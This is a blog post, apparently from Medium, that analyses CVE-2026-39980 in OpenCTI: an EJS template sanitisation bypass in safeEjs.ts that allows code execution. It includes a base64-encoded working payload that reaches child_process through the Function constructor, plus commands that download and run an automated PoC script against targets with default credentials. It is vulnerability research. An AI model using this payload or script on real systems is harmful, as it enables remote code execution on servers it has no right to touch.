Inspiration
I have read a lot of blogs about vulnerability analysis and exploitation, and always wanted to dive deep into 0-days and develop a POC for a 0-day/CVE with NO public exploit, YET!
Quick Disclaimer: AI WASN'T used in any part of this article; I did both the technical and writing parts. (I wanted to do this for myself, so AI was off the table for today:))
CVE-2026–39980 Introduction
We initially start with the official advisory, which describes the CVE as:
The
safeEjs.tsfile does not properly sanitize EJS templates. Users with theManage customizationcapability can run arbitrary JavaScript in the context of the OpenCTI platform process during notifier template execution.
This means that in our analysis, we have to focus on the safeEjs.ts file and look for differences in version 6.9.5, which is where the fix was first introduced.
Testing Environment Setup
This steps take a good time, especially since I have never used, let alone deployed, OpenCTI before.
As with taking on any new challenge, a healthy amount of reading, debugging, and sometimes messing up your environment, is the way to go!
After a quick search, we stumbled on the official documentation for a Docker setup.
One important change we had to do was in docker-compose.yml, which was changing the opencti/platform:latest image tag from latest to a known vulnerable version, which is opencti/platform:6.9.4.
Now let's quickly find the create notifier functionality, since it will be the function we will be targeting!
Now we should be able to perform our analysis since our environment setup is done!
Now we should be able to perform our analysis since our environment setup is done!
Code Review
Now that we have an overview of the issue and where it is at safeEjs.ts, and we have our environment setup, we can move on to the core, CODE REVIEW.
As per the advisory, the issue was fixed in version 6.9.5 so we should inspect the file in version 6.9.4 and 6.9.5 and see the changes made.
If you like to follow along:
After some manual hopping between the two files, I found the only change was in createSafeContext in line 85, the specific new addition can be found in line 131.
const name = String(key); // key should already be a string, but enforce it anywayThat is the change, casting the variable to a string, which heavily hints at the issue, an assumption was being made that the variable "key" was a string, but it isn't always? That is what the comment might be hinting at.
So in the vulnerable version, if we send an object, we might cause unexpected behavior, which might lead to bypassing any checks being done on our template.
Exploitation
This was a part I stuck on for some time, then I googled for similar issues to find other working payloads that I can use as a base or modify. I stumbled upon this very useful advisory, which had exploit code similar to what we need!
With some minor modifications and lots of requests later, I got the following payload to work!!
Edit: the payload is in base64 because Medium is flagging the payload:)
PCUgdmFyIHQ9e3RvU3RyaW5nOmZ1bmN0aW9uKCl7cmV0dXJuJ2NvbnN0cnVjdG9yJ319O3ZhciBGbj1KU09OW3RdW3RdO3ZhciBwPUZuKCdyZXR1cm4gcHJvY2VzcycpKCk7cC5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnaWQ+L3RtcC9wb2MnKTsgJT4=
And that's the exploit part done!!
Automation of the exploit
Now that we have achieved RCE, we should be able to easily script it into a Python script to get reliable RCE results from our vulnerable victims! You can check out my GitHub for the full script and some details:
wget https://raw.githubusercontent.com/Wh0am123/CVE-Research-POC/refs/heads/main/2026/CVE-2026-39980/poc.py
python3 poc.py -u http://opencti/ -U admin@opencti.io -p changeme -c 'id > /tmp/poc'Running our auto-exploit Python script.
And that's the research & automation parts all done!
Final Thoughts
This is my first blog on CVE analysis and research with hopes to release more in the upcoming period!
That is all for today, thanks for reading and happy hacking!
GitHub: https://github.com/Wh0am123/